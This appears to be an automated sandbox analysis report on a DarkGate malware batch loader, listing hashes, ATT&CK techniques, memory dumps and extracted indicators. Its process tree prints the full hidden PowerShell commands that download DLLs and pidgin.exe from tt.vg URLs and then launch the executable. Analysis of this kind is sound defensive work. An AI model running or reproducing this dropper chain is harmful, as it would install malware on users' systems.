933fbda1ca7c4a52adbb48d038c8ba5ed5ee411d1096b2222ca383ca6d96a6bc

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19-08-2024 09:44

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General

Target

exe/crypted/Dakrgate 5864 startup plus rootkit/Batch file for 5864v dll crypted darkgate/update.bat
Size

6KB
MD5

97b7c88a02b2a5214d742b7ed50f4544
SHA1

15bf7dd44049b94db1a82504802ead45f6186fa0
SHA256

20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6
SHA512

918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25
SSDEEP

192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
5	2872	powershell.exe
7	2872	powershell.exe
8	2872	powershell.exe
9	2872	powershell.exe
10	2872	powershell.exe
11	2872	powershell.exe
12	2872	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2872 powershell.exe
2604 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

4 tt.vg
5 tt.vg
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2872 powershell.exe
2604 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2872 powershell.exe
Token: SeDebugPrivilege 2604 powershell.exe

pid	process
2872	powershell.exe
2604	powershell.exe

flow	ioc
4	tt.vg
5	tt.vg

pid	process
2872	powershell.exe
2604	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2176 wrote to memory of 2872	2176	cmd.exe	powershell.exe
PID 2176 wrote to memory of 2872	2176	cmd.exe	powershell.exe
PID 2176 wrote to memory of 2872	2176	cmd.exe	powershell.exe
PID 2176 wrote to memory of 2604	2176	cmd.exe	powershell.exe
PID 2176 wrote to memory of 2604	2176	cmd.exe	powershell.exe
PID 2176 wrote to memory of 2604	2176	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\exe\crypted\Dakrgate 5864 startup plus rootkit\Batch file for 5864v dll crypted darkgate\update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
55e220d0f43171ffdf4d5be5f80c712b

SHA1
78001466ce1020dbd3fdffb9a5a02b81a48692e3

SHA256
7025d733155a396d76f075ffffa88e0e9d081eef7339df7c5e512d1dc26c453d

SHA512
aceb2bc1bbc8e77279a30785c1532d65d94d72441a7c6484ea780a243dce9294bef52bc1b97b0e97d1389b83f61a466729b955a573b6c5ac4a1a6bd914e55c13

Download Submit
memory/2604-23-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2604-22-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2872-12-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-8-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-10-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-9-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-11-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-4-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

Filesize
4KB

Download
memory/2872-13-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

Filesize
4KB

Download
memory/2872-14-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-15-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-16-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-6-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/2872-7-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download